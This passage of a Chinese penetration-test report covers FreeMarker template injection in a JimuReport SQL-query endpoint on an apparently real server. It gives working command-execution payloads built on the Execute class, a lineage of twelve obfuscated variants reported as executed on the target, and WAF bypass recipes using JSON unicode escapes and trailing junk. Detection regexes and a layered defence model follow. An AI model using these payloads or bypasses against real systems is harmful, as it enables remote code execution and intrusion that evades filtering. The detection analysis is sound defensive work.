流量中不包含 freemarker / template / utility / Execute 任何子串al/au 字母表 + substring 索引拼出类名)。该方案已上线服务器实测通过(4.2 节 r7.png 的 sql2.txt 即为其最终形态——结合 "SpringApplicationContextHolder"?substring(0,0) 空串技巧,连 "freemarker.template.utility." 常量都不出现)。

5.3 ?new() 语法变体矩阵(本地 TestFm 验证)

run "标准 cls?new()"        '<#assign c="freemarker.template.utility.Execute"><#assign p=c?new()>${p("echo X1")}'
run "cls ?new() (问号前空格)" '<#assign c="freemarker.template.utility.Execute"><#assign p=c ?new()>${p("echo X2")}'
run "cls? new() (内置名前空格)" '<#assign c="freemarker.template.utility.Execute"><#assign p=c? new()>${p("echo X3")}'
run "cls?new () (括号前空格)" '<#assign c="freemarker.template.utility.Execute"><#assign p=c?new ()>${p("echo X4")}'
run "cls?new( ) (括号内空格)" '<#assign c="freemarker.template.utility.Execute"><#assign p=c?new( )>${p("echo X5")}'
run "?New() 大写"           '<#assign c="freemarker.template.utility.Execute"><#assign p=c?New()>${p("echo X6")}'
run "?new 标签注释隔开"      '<#assign c="freemarker.template.utility.Execute"><#assign p=c?<#--x-->new()>${p("echo X7")}'
标准 cls?new() => OUT: [X1
cls ?new() (问号前空格) => OUT: [X2
cls? new() (内置名前空格) => OUT: [X3
cls?new () (括号前空格) => OUT: [X4
cls?new( ) (括号内空格) => OUT: [X5
?New() 大写 => (无输出,失败)
?new 标签注释隔开 => OUT: [X7

结论:?New() 大写外,所有空白/注释插入变体均可执行(X1–X5、X7)。?new( 的 token 序列不可混淆(见第 6 节),但其连续字面量可被空白/注释拆分。

5.4 混淆演变谱系(12 个变体的分层)

对攻击者视角下按"FreeMarker AST 结构 + JSON 特性"演进的 12 个 payload 变体做了分层与验证。12 个变体全部在目标服务器实测成功——均成功执行解析并生成文件(见第 4 节报文;P9 同时对应 5.2 方案 B 的服务器实测);其中 P10–P12 另经本地 TestFm(与目标同配置,setClassicCompatible(true))做了 AST 级语义等价验证(命令替换为安全 echo):

变体

混淆维度

流量中残留特征

验证

P1

无混淆(基线):完整类名 freemarker.template.utility.ObjectConstructor + ?new() + ${} + ProcessBuilder

全部明文

服务器实测 ✅(4.1 waitFor 计时)

P2

无混淆(Execute 变体)

全部明文

服务器实测 ✅(测试3/5)

P3

类名尾部拼接:"Execut"+"e"

freemarker.template.utility. 前缀仍明文

语义等价 ✅

P4

前缀+类名分段:"Exec"+"ute"("前缀"+cls)?new()

前缀仍明文、?new( 明文

语义等价 ✅

P5

substring 提取类名:"Exec"?substring(0,4)+"ute"

前缀仍明文、?substring 明文

语义等价 ✅

P6

变量中转 + substring:多级 <#assign>

前缀仍明文、?substring 明文

语义等价 ✅

P7

完整类名作 substring  数据源:src?substring(0,28) + Execute 逐字符拼

完整类名明文出现(仅作数据源)、?new( 明文

服务器实测 ✅(r9ds 形态)

P8

空串技巧:"SpringApplicationContextHolder"?substring(0,0)+"freemarker.template.utility."

前缀仍明文freemarker.template.utility. 常量字符串)

服务器实测 ✅(sql2.txt,r7/r9/r9b/r12)

P9

字母表全混淆:al/au substring 逐字符拼出全类名

无任何危险类名字符串?new( 明文、命令明文

服务器实测 ✅(5.2 方案 B 落盘验证)

P10

P9 + ?new( 拆分:cls ? 换行 <#--a--> <#--b--> new() + 命令混淆(cMd /cecho+1337>..

?new( 连续字面量消失、类名/命令特征全消失

服务器实测 ✅(文件生成确认;本地 AST 等价 ✅)

P11

P10 + 无插值:<#assign r=p("...")> 去除 ${}

${ 定界符消失,仅剩 <# 指令定界符

服务器实测 ✅(文件生成确认;本地 AST 等价 ✅)

P12

P11 + 全 Unicode \uXXXX 转义(含 select<#、命令、路径)

原始报文中无任何 ASCII 明文(连 select 都不出现)

服务器实测 ✅(文件生成确认;本地 AST 等价 ✅)

混淆维度归纳:类名 → 命令 → 语法 → 传输编码 四层递进。P9 起字符串层特征全部失效;P10 起 ?new( 连续字面量失效;P11 起 ${ 失效;P12 起原始字节层一切 ASCII 特征失效。


6. 检测特征分析(防守方视角)

本节基于 12 个演变变体(P1–P12,见 5.4)逐层分析:FreeMarker AST 结构层 → 词法 token 层 → 字符串层 → JSON 特性层 → 行为层

6.1 FreeMarker AST / 词法 token 层:唯一不可变锚点

词法(Token)层:FreeMarker 解析时注释与空白在词法分析阶段被吞掉,因此无论 P10 中插入多少 <#--a-->/换行/空格,token 序列恒定

IDENT(cls)  ?  IDENT(new)  LPAREN ...

?new( 是 FreeMarker 2.3 内建类实例化(?new() = ObjectConstructor)的唯一语法形态

  • new 是内置名关键字,大写 ?New() 已实证失败(X6);

  • 任何绕过必须保留 ? new ( 三个 token 的有序序列;

  • AST 层对应唯一的 New 节点 + 后续 MethodCallp(...))/Dot.start()/.waitFor())节点。

token 级检测实现(词法近似,等价于剥离注释+空白归一):

# 预处理后匹配:\? \s* new \s* \(
\?\s*(?:<#--[\s\S]*?-->|\s)*new\s*\(

该正则对 P1–P12 全部命中(P12 需先经 JSON \u 解码还原,见 6.4/6.6)。这是召回率 100% 的最小充分条件

6.2 字符串层特征与绕过边界

字符串特征

P1

P2

P3

P4

P5

P6

P7

P8

P9

P10

P11

P12

freemarker.template.utility.

❌*

Execute/ObjectConstructor/ProcessBuilder

❌*

?new( 连续字面量

❌*

${ 插值定界符

❌*

<# 指令定界符

❌*

cmd /c/webapps 等命令特征

❌*

(* P12 在原始报文中全部特征为 \u00XX 转义形态,JSON 解码还原后即与 P11 行相同。)

结论:字符串层单独使用对 P9+ 全部失效;必须与 6.1 的 token 级正则组合

6.3 JSON 特性层组合(P1–P12 恒定结构)

全部 12 个变体的请求体呈高度一致的 JSON 骨架,这是与正常业务流量的核心区分面:

{"sql":"select '<#...>' as val","dbSource":"","paramArray":[],"type":"0"}

特性

说明

正常业务对比

sql 值形态

恒以 select ' 开头,单引号内紧跟模板定界符(<#${

正常 SQL 无模板定界符

paramArray

恒为空数组 []

带参查询时非空

dbSource

恒为空串 ""

设计器查询通常选择 数据

type

恒为 "0"

固定值

\" 转义双引号

模板字符串被 JSON 引号包裹,\" 密集出现(P1–P11)

正常 SQL 字符串值罕见

\\ 双反斜杠

写文件变体含 ..\\U8System\\Tomcat\\webapps(P7–P12)

正常 SQL 几乎不出现

\u00XX 密集转义

P12:所有 ASCII 以 \uXXXX 出现(每字符 6 字节)

正常业务 JSON 几乎不用 \u 转义 ASCII

组合评分建议:命中 ≥2 项(如 sql 含模板定界符 + paramArray=[])即可高置信告警;P12 的 \u 密集转义单独即可触发(正常报文 100 字符内几乎不可能出现 10+ 个 \u00XX)。

6.4 命令层特征(P10–P12 命令混淆后)

cMd /cecho+1337>..\U8System\Tomcat\webapps\r.png

混淆手法

示例

规避对象

对抗建议

大小写混合

cMd

大小写敏感规则

规则转小写后匹配

/c 与命令无空格直连

/cecho

cmd /c 带空格正则

匹配 /c[a-z]

+ 替代空格

echo+1337

空格分隔规则

归一化空白类字符(空格/+/%20

> 重定向 + 路径穿越

>..\U8System\...

路径特征

>\.{1,2}\\ + webapps 弱特征

路径全转义

P12 中 U8SystemU8...

路径字符串规则

依赖 L1/L2 分层(先解码)

6.5 分层检测模型(原始报文 → 解码 → 行为)

L1 原始报文层    jmreport 路径 + JSON body
                 ├─ \u00XX 密集转义(P12 特征,独立触发)
                 └─ 转发到 L2
L2 JSON 解码层   对 \uXXXX / \" / \\ 解码还原后:
                 ├─ token 级正则 \?\s*(?:<#--[\s\S]*?-->|\s)*new\s*\(   ← 全变体命中
                 ├─ 组合评分(6.3 的 JSON 骨架特性)
                 └─ 命令层规则(6.4)
L3 行为层        响应计时异常(waitFor 阻塞拉长)、
                 后续同源访问新落盘文件(r7.png 等返回 200)

6.6 误报规避建议

  • token 级正则出现在正常业务 SQL 的概率极低(合法报表模板只用 func/isNotEmpty 等共享函数,不会实例化任意类),单规则即可高信噪比;

  • 若担心 new 关键字误伤,叠加 JSON 骨架评分(6.3):select ' 开头 + 模板定界符 + paramArray=[] 三者同现时误报可忽略;

  • \u00XX 密集转义规则需排除国际化业务(正常报文含少量 \u 中文转义属正常,但ASCII 字符<#?、字母)被 \u 转义是异常信号——区分 ASCII 与中文转义即可;

  • 组合检测:token 正则命中后回溯同报文 freemarker/template.utility 弱特征辅助定级(P1–P8 命中、P9–P12 不命中,不影响第一正则判定)。

6.7 固定不可变结论(防守方)

唯一不可变、也无法混淆的锚点链

FreeMarker token 序列  ? new (     (词法层,注释/空白不可插入于 token 之间)
          +
JSON 解码后可见的模板定界符(${ 或 <#,P11 后仅剩 <#)

这既是利用的必要条件,也是检测的最小充分条件。字符串级特征(类名/命令/?new( 字面量/${)均可被 P9–P12 逐层消除,但 token 序列不可变;P12 的 \u 转义只在原始字节层生效,经 JSON 解码(L2)后还原为同一 token 序列。


6.8 JSON 解析器实现原理实证(jdwp 实机追踪)

核心结论:请求体 JSON 由 Jackson 2.9.9 严格模式(RFC 8259)解析,fastjson 的宽松语法在请求体层全部不可达。

6.8.1 证据链

证据

代码层

DesignReportController(混淆名 org.jeecg.modules.jmreport.desreport.a.a@PostMapping("/queryFieldBySql")a(@RequestBody JSONObject jSONObject)jSONObject.getString("sql")

依赖层

WEB-INF/lib 同时存在 jackson-core-2.9.9 / jackson-databind-2.9.9.3fastjson-1.2.83

注册层

FastJsonHttpMessageConverter4DJFileUtil-U8-2.1.jar)与 fastjson-1.2.83.jar无任何 Spring Boot autoconfigure / spring.factories / WebMvcConfigurer 注册点JimuReportConfiguration(WebMvcConfigurer)只注册拦截器与静态资源——fastjson converter 从未进入 Spring converter 列表(详见 §6.8.2 实证)

jdwp 层

宽松语法变体 → com.fasterxml.jackson.core.JsonParseException:抛出点 ParserMinimalBase:693_reportError),catch 于 ObjectMapper:3999 / MapDeserializer:538——Jackson 词法层直接拒绝

行为层

标准 JSON → 200 解析成功;单引号/\x/注释 → 500 服务器出错

6.8.2 converter 注册实证(fastjson 从未参与解析)

application/json 及 +json

text/plain multipart 等

fastjson 类仅存在于 lib 未被注册

HTTP 请求体

Content-Type 匹配

Jackson MappingJackson2HttpMessageConverter 唯一注册者

无 converter 匹配 HttpMediaTypeNotSupportedException

MapDeserializer 直接实例化 fastjson JSONObject 填充

Controller 参数注入

FreeMarkerUtils 渲染

全局异常 返回 status 500

FastJsonHttpMessageConverter4 形同虚设

  • 注册实证(三层):① fastjson-1.2.83.jarMETA-INF/spring.factories、无 autoconfigure 类;② DJFileUtil-U8-2.1.jar 仅含 fastjson 自带的 support/spring/* 类,无任何业务注册配置;③ JimuReportConfiguration(实现 WebMvcConfigurer)只注册拦截器与资源处理器,未配置 messageConverters

  • 因此 Spring converter 列表中 JSON 解析只有 Jackson(Spring Boot 默认 MappingJackson2HttpMessageConverter)。对参数类型 fastjson.JSONObjectMap 子类),Jackson MapDeserializer 以无参构造 + Map 语义填充;

  • Content-Type 非 JSON 的请求(text/plain / multipart / x-www-form-urlencoded / octet-stream)全部无 converter 匹配AbstractMessageConverterMethodArgumentResolver:206HttpMediaTypeNotSupportedException(jdwp 异常事件实证)→ GRP 全局异常包装 {"status":500,"msg":"服务器出错,请重试"}

  • 结论:fastjson 的宽松特性(\x、单引号、注释、无引号 key)在请求体层永远不可达,且不存在任何 Content-Type 通道可达——比"被抢占"更强,是"从未注册"。

6.8.3 目标环境确认

  • 目标 JVM:Java HotSpot 1.8.0_112(JDWP 192.168.168.168:5007 实连);

  • 请求链路:Tomcat 8187 → Spring MVC → Jackson MapDeserializerfastjson.JSONObject → controller → FreeMarkerUtils(SSTI sink)。

6.9 请求体宽松语法实测矩阵(jdwp 事件 + 响应双重验证)

#

语法特性

报文形态(节选)

结果

机制

C7

\uXXXX 值-字母转义

"sql": "\u0073elect '\u0043\u0037' as val"

全链路执行成功

标准 JSON 转义,Jackson 解码 → SQL 正常

C6

\uXXXX 值-控制字符

"sql": "select \u000a'C6' as val"

全链路执行成功

换行符解码后在 SQL 字符串外,SQL Server 忽略

A3

\uXXXX key 转义

{"\u0073ql": "select 'A3' as val"}

✅ 解析成功(进入渲染)

key 解码为 sql

C5

\u0000 NUL

"sel\u0000ect 'C5' as val"

⚠️ JSON 层成功,SQL 层报错

NUL 不被 SQL Server 忽略

A2

\xHH hex 转义

"select \x27A2\x27..."

❌ JsonParseException

Jackson 无 \x 特性(fastjson 私有)

A1

单引号字符串

{'sql':'...'}

❌ JsonParseException

严格 RFC 8259

C2

无引号 key

{sql: "..."}

❌ JsonParseException

严格 RFC 8259

C1

注释

"..." /* x */,

❌ JsonParseException

ALLOW_COMMENTS 未开启

C3

原始控制字符

0x00 字节在值内

❌ JsonParseException

ALLOW_UNESCAPED_CONTROL_CHARS 未开启

C4

尾逗号

...,}

❌ JsonParseException

ALLOW_TRAILING_COMMA 未开启

M1

多 u 复写-值

"sql": "select\uuuu0020'...' as val"

❌ JsonParseException

Jackson _parseUnicodeEscape 只认单 u+4hex,第 2 个 u 进 hex 校验失败;fastjson 会循环跳过连续 u(对照 M1c 单 u ✅)

M3

多 u 复写-key

{"\uuuu0073ql": "..."}

❌ JsonParseException

同上(对照 M3b 单 u ✅)

M5

多 u 复写-二次层

"paramArray": ["\\uuuu0041"]

❌ syntax error, pos 2

fastjson 二次层收到 [\uuuu0041]\ 非合法 token 起始

M2

字面 \\u 进 SQL

"sql": "select\\uuuu0020'...' as val"

⚠️ JSON 层过,SQL 层"解析失败"

Jackson 解码 \\ → 字面 \uuuu0020,T-SQL 拒绝 \u 标识符

(A1/A2/A3/C1–C7/M1–M5 均为无害验证 payload;\uXXXX 全部为 Jackson 标准转义,多 u 复写为 fastjson 私有特性——见 §6.12.5。)

6.10 WAF 绕过手法(按解析器实现原理推导)与检测修正

6.10.1 可行的绕过面(已实证)

手法

报文形态

对 WAF 的绕过效果

实证

A. \uXXXX 全字符转义

\u0073\u0065\u006c\u0065\u0063\u0074 '\u0041' as valselect 逐字符转义)

原始报文零关键字残留;WAF 不做 JSON 解码则 100% 绕过

P12 服务器实测落盘 ✅

B. 部分转义穿插

s\u0065lect '\u0042' as valsel\u0065ct

连续关键字正则失效

C7 ✅

C. 控制字符注入

"sql": "select \u000a'...' as val"

WAF 的 select '(空格连写)正则失效;SQL Server 忽略字符串外 LF/Tab

C6 ✅

D. key 层转义

{"\u0073ql": "..."}

"sql" 键名匹配失效

A3 ✅

6.10.2 不可行的绕过面(Jackson 严格模式拦截)

\xHH、单引号、注释、无引号 key、原始控制字符、尾逗号、键值间 \b/\f——fastjson 私有宽松语法在请求体层全部失效。攻击者若误用 fastjson 特性构造 payload,请求在 JSON 解析层即被 500 拒绝。不存在"解析器宽容 → 语义分裂 → WAF 绕过"的经典缝隙(该类缝隙要求解析器与 WAF 对同一输入给出不同判定,此处实际解析器是严格模式 Jackson,与标准 WAF 判定一致);且连 Content-Type 切换通道都不存在(fastjson converter 未注册,非 JSON Content-Type 一律 HttpMediaTypeNotSupportedException,见 §6.11)。

5b6f85e3-4451-4f80-ac77-a50ac487cf12.png

6.10.3 对 §6 检测模型的修正

修正点:原 §6.3 隐含假设"fastjson 宽松解析"——实际解析器是 Jackson 2.9.9 严格模式。\uXXXX 是标准转义(故 P12 成功),fastjson 私有特性(\x/单引号/注释)在请求体层不存在绕过面;

强化结论:§6.5 分层模型中 L1 原始报文 \u00XX 密集转义检测是唯一且必要的检测面——攻击者唯一有效的绕过通道就是 \uXXXX,其原始字节形态必然呈现密集 \u00XX 特征;

补充检测建议:L2 解码后除 token 正则外,增加 值外控制字符转义(换行/Tab/回车 字面文本)计数(正常业务 SQL 中换行出现在 SQL 字符串外属于异常信号,对应 C6 变体);

WAF 加固结论:任何声称防护本系统的 WAF,其有效性完全取决于是否对 JSON 报文执行 \uXXXX 解码;不解码则所有 \u 转义变体(P12 及其任意组合)均可绕过。

6.11 fastjson bypass WAF 手段实测验证(,目标服务器 + jdwp 双验证)

6.11.1 手段清单与总结论表

手段(fastjson 社区公开)

当前环境结论

关键证据

multipart + Content-Transfer-Encoding: base64 / quoted-printable

❌ 不可行

fastjson converter 未注册;multipart → HttpMediaTypeNotSupportedException

大量字符绕过(超大嵌套数组淹没特征)

❌ 无绕过价值

Jackson 正常解析大数组(无解析器差异),仅触发业务层 cast 副产物

键值外空白/控制字符跳过(含 \b/\f

⚠️ 部分可行

空格/\t/\n/\r(RFC 8259 标准空白)✅;\b/\f ❌ JsonParseException

\uXXXX 键/值转义

唯一有效通道

A3/C7/P12 全链路成功(Jackson 标准转义,RFC 8259)

\xHH hex 转义(键名/值)

❌ 不可行

ParserMinimalBase:693 JsonParseException

单引号字符串 / 注释 / 无引号 key / 尾逗号

❌ 不可行

同上(Jackson 词法层拒绝)

换 Content-Type 切换解析器

❌ 不可行(fastjson converter 从未注册

AbstractMessageConverterMethodArgumentResolver:206 抛 415(jdwp 实证)

多 u 复写 \uuuuXXXX(fastjson 循环跳过连续 u

❌ 不可行

M1/M3 实测:Jackson _parseUnicodeEscape 只认单 u+4hex,第 2 个 u 校验失败 → 500;M5 二次层输入亦被 toString 破坏

6.11.2 详细验证过程

  • Content-Type 矩阵text/plainapplication/x-www-form-urlencodedapplication/octet-streammultipart/form-data 四种 Content-Type 携带标准 JSON,全部返回 {"status":500,"msg":"服务器出错,请重试"}(GRP 全局异常包装)。jdwp 异常事件实证:org.springframework.web.HttpMediaTypeNotSupportedException 抛出于 AbstractMessageConverterMethodArgumentResolver:206——converter 列表无一 canRead 匹配的标准位置,与"fastjson converter 已注册"假设矛盾,反向证实 §6.8.2 的注册实证;

  • multipart CTEContent-Disposition: form-data; name="data" + Content-Transfer-Encoding: base64(及 quoted-printable)的 part 携带 Base64/QP 编码 JSON——同样 415。Spring 的 StandardServletMultipartResolver 解析 multipart 后,@RequestBody 仍需 converter 读取 body,而 converter 列表无 multipart 支持者(Tomcat 对 part 的 CTE 解码无从触发);

  • 键值间控制字符(application/json,修正此前 text/plain 测试的混淆因素):{"sql"\t:...}{"sql"\n:...}{"sql"\r:...} → ✅ 解析成功(RFC 8259 标准空白,与 fastjson 行为一致部分);{"sql"\b(0x08):...}{"sql"\f(0x0C):...} → ❌ JsonParseException(jdwp 事件:ParserMinimalBase:693)——与 fastjson 不同(fastjson isWhitespace 跳过 \b/\f),Jackson 严格只认四种标准空白;

  • 大量字符绕过paramArray[[111…(300位)],…×200] 超大嵌套数组 → application/json 下请求解析成功进入 controller → 业务层报 com.alibaba.fastjson.JSONArray cannot be cast to com.alibaba.fastjson.JSONObject。该手段针对 fastjson 递归解析器制造特征淹没,对 Jackson 无解析器差异,不构成绕过

6.11.3 新发现:paramArray 二次 fastjson 解析层(存在但不可利用)

util.e.a(String, Map, Object)(参数替换)内部:JSONArray.parseArray(String.valueOf(paramArray)) → 遍历 getJSONObject(i) 取 paramName/paramValue 做 ${paramName} 占位符替换——存在一层 fastjson 宽松解析,本可成为 \xHH 二次解码面(\\x27 双反斜杠过 Jackson 层,二次解析解码为 ');

但二次解析的输入是 Jackson 解析结果的 Java toString 格式,与纯 fastjson 环境(JSONArray.toString = JSON 格式)完全不同:

paramArray 形态

Jackson 解析结果

Java toString

二次解析结果

实测

对象数组 [{"paramName":"x","paramValue":"\\x27"}]

ArrayList<LinkedHashMap>

[{paramName=x, paramValue=\x27}](无引号)

fastjson 默认 feature 拒绝无引号 key → expect ':' at 0

G2/G7 ❌

字符串数组 ["\\x27"]

ArrayList<String>

[\x27](String 不加引号)

非 JSON → syntax error, pos 2

G1/G5/G6 ❌

数字数组 [1,2,3]

ArrayList<Integer>

[1, 2, 3]

可解析 → 元素 cast JSONObject 失败

G3 ❌

空对象数组 [{},{}]

ArrayList<Map>

[{}, {}]

可解析且元素为 JSONObject

G4 ✅ 但无 paramName → 无注入

对象(非数组)

LinkedHashMap

{paramName=x,...}

parseArray 期待 [ → 报错

G8 ❌

  • 结论\xHH/\uXXXX 等扩展转义即使以 \\x27 形式通过 Jackson 第一层,也无法在二次解析层落地为注入(Java toString 已破坏 JSON 词法,且对象数组的 expect ':' 失败先于转义解码发生)。此层不可用作 WAF 绕过通道——与官方 jmreport 纯 fastjson 环境(paramArray 为 JSONArray,toString 即 JSON,二次解析可正常执行)的行为差异,是 GRP 环境独有的"防御红利"。

.11.4 结论

  • 有效通道唯一\uXXXX(Jackson 标准转义)+ RFC 8259 标准空白(\t/\n/\r/空格)——即 P12 / C6 / A3 三族,与 §6.9/§6.10 结论一致;

  • fastjson 社区公开的 bypass 手段(multipart CTE、大量字符、\xHH、单引号、注释、\b/\f 跳过、Content-Type 解析器切换)在当前环境全部不可用

  • 检测模型维持 §6.10.3 修正:L1 原始字节 \u00XX 密度检测仍为唯一必要检测面;检测方应警惕的唯一剩余变量是"WAF 是否做 JSON 解码"。

6.12 Y4tacker《浅谈Fastjson绕waf》深度研究对照验证(,目标服务器实测)

6.12.1 文章手法全清单对照(来源:sec-in.com/article/950 同源博文 Y4tacker)

文章手法(fastjson 词法/反序列化层)

当前环境结论

实测证据

键值外空白跳过(含 \b/\f/\t/\n/\r

⚠️ 部分适用

4 种 RFC 空白 ✅(E3-E5);\b/\f ❌(E1/E2)

AllowArbitraryCommas 多逗号

N4 实测:{,,,} 中间逗号 → 500

AllowUnQuotedFieldNames 无引号 key

C2 实测(已有)

AllowSingleQuote 单引号 key

A1 实测(已有)

@type 值首引号可替换为任意字符

N1 实测:"sql":xselect → 500(Jackson 值位置严格,无此逻辑漏洞)

\u/\x 混合编码

⚠️ 部分适用

\u ✅(A3/C7/P12);\x ❌(A2)——与文章"两者皆可"不同

smartMatch:key 中 _/- 被忽略(fnv1a_64_lower)

❌ 天然不适用

无 JavaBean 反序列化:请求体层 Jackson Map 精确匹配、二次层 JSONObject.get() 精确匹配

1.2.36+ 属性 is 前缀剥离

❌ 天然不适用

同上(纯 JavaBeanDeserializer 特性)

/**//// 注释打乱特征

C1/N3 实测:注释 → JsonParseException

注释+控制字符 \u001a 语义分裂(WAF 删注释失败)

❌ 不适用

N3 实测:Jackson 词法层拒绝 /;解析器比 WAF 严格,无"WAF 清洗后仍可执行"缝隙

JSON 数据后填充任意字符

✅✅ 完全适用且更强

N2 族 12 变体全执行:fastjson 排除 ():[]{},Jackson 2.9 无任何排除

6.12.2 重大迁移发现:Jackson 2.9 尾随杂散字符(N2 族,威胁检测模型)

  • 实测:{"sql":"select 'NX' as val",...} 后追加 }{[]:(;、反引号、"/*xx*/\u001a、以及整个合法 JSON 对象 {"a":1}——12 变体全部解析成功并完成渲染(HTTP 200 + fieldList 回显);

  • 机制:Spring 经 ObjectMapper.readValue(String, ...) 解析——Jackson 2.9 在 Map 解析完成后不检查输入是否消费完_verifyNoTrailingTokens EOF 校验为 2.13+ 才加入),尾随 token 静默丢弃;

  • 与文章对比:fastjson 同样忽略尾随字符但排除 ():[]{} 等结构字符(JSONLexerBase#nextToken 限制);Jackson 2.9 无任何排除——当前环境比 fastjson 更宽松;

  • 攻击场景(语义分裂):

    • ① WAF 以 ^{.*}$ 正则或 json.loads 做"JSON 完整性校验"→ 尾随垃圾使校验失败 → WAF 判"非 JSON 报文"跳过检测放行 → Jackson 正常执行渲染;

    • ② WAF 全文统计 \u00XX 密度(§6.10.3 的 L1 模型)→ } 后追加大段普通文本可稀释密度至阈值下,绕过 L1 检测;

  • 检测修正:检测与特征提取必须限定在 JSON 结构范围内(首个 { 至其配对 } 之间);禁止对全文 body 统计特征;提取 sql 需严格解析(EOF 校验);WAF 不得以"完整性校验失败"为由放行报文——严格解析失败 ≠ 应用解析失败。

6.12.3 其余手法拒绝/不适用实证

  • N1 值起始 token 替换(文章 @type 技巧的 Jackson 对应面):"sql":xselect 'N1' as val → 500。Jackson 值位置只认合法值 token,无 fastjson scanSymbol 的"首引号可替换"逻辑漏洞;

  • N3 注释+控制字符(文章高级篇 \u001a 技巧):/*\u001a{/*y4tacker*/"sql":"select 'N3' as val"...}*/ → 500。该技巧成立前提是"解析器接受注释",Jackson 词法层直接拒绝,语义分裂条件不成立;

  • N4 多逗号{,,,} 中间逗号 → 500(Jackson 严格模式,AllowArbitraryCommas 不存在);

  • smartMatch / is 前缀:纯 fastjson JavaBeanDeserializer#smartMatch 特性;当前环境请求体层是 Jackson Map 反序列化(key 精确匹配,getString("sql") 不模糊)、paramArray 二次层是 JSONObject.get("paramName") 精确匹配——全链路无模糊 key 匹配层,天然免疫;

  • N5/N5b 值内任意 \u 转义\u001a 0x1A、\u0000 NUL 出现在 SQL 字符串末尾):✅ 执行成功——补充 C5 边界:NUL/0x1A 在 SQL 字符串末尾被 SQL Server 忽略,仅当出现在 SQL 语句中间sel\u0000ect)才报错。

6.12.4 结论与检测模型二次修正

  • 文章 11 项手法仅 1 项完全迁移(尾随杂散字符 N2 族),且当前环境比文章描述的 fastjson 行为更强(无 ():[]{} 排除)——这是 Jackson 2.9 旧版(无 EOF 校验)特有的攻击面;

  • 其余 10 项在请求体层全部被 Jackson 严格模式拒绝,或属 fastjson JavaBean 特性在当前环境天然不存在;

  • §6.5 检测模型二次修正:L1 密度检测与 L2 解码检测的作用域必须限定在 JSON 结构内{}),全文统计可被 N2 尾随填充稀释绕过;WAF 侧禁止以"JSON 完整性校验失败"为由放行——应用解析器(Jackson 2.9 宽松尾随)与严格校验器语义分裂正是 N2 攻击的入口。

6.12.5 补充验证:多 u 复写 \uuuuXXXX(fastjson 私有转义特性)

  • 特性背景:fastjson JSONLexerBase#scanSymbol 遇到 \u循环跳过连续 u 再读 4 位 hex——\uuuu0020 等价 (空格),是 fastjson 环境经典的 WAF 正则绕过(检测\u[0-9a-f]{4}会漏掉\uuuu...形态);Jackson 的_parseUnicodeEscape**只接受恰好一个u**,第 2 个u进入 hex 校验即charToHex('u') = -1 → "Invalid Unicode escape";

  • 实测(M1–M5,,全部无害 payload):

    • 值层 \uuuu0020 / \uu0020 → ❌ 500(M1/M1b),单 \u0020 对照 ✅(M1c);

    • key 层 {"\uuuu0073ql":...} → ❌ 500(M3),单 \u0073ql 对照 ✅(M3b);

    • paramArray 二次 fastjson 层 "\\uuuu0041" → ❌ syntax error, pos 2——二次层收到 Java toString 后的 [\uuuu0041]\ 非合法 token 起始,多 u 解码无从触发(M5);

    • 字面路径 "select\\uuuu0020'...'" → ⚠️ Jackson 解码 \\ 后 T-SQL 收到 \uuuu0020 文本,拒绝 \u 标识符 → 业务"解析失败",无执行(M2);

  • 结论:多 u 复写在当前环境三个层面全部不可用——与 fastjson 环境的最后一类"转义形态"差异也已排除;\uXXXX 单 u 标准转义仍是唯一有效通道。检测方注意:按 fastjson 行为假设的检测器(匹配 \u+[0-9a-f]{4})在 Jackson 环境会过度告警(多 u 输入实际被拒绝),但按 Jackson 单 u 检测则无此噪声。

859265e0-4bb6-427b-a08b-4bf1d74681ac.png

7.2 写库持久化攻击流程(库表型入口)

f8d43476-8f72-4f14-9024-f89da4f22720.png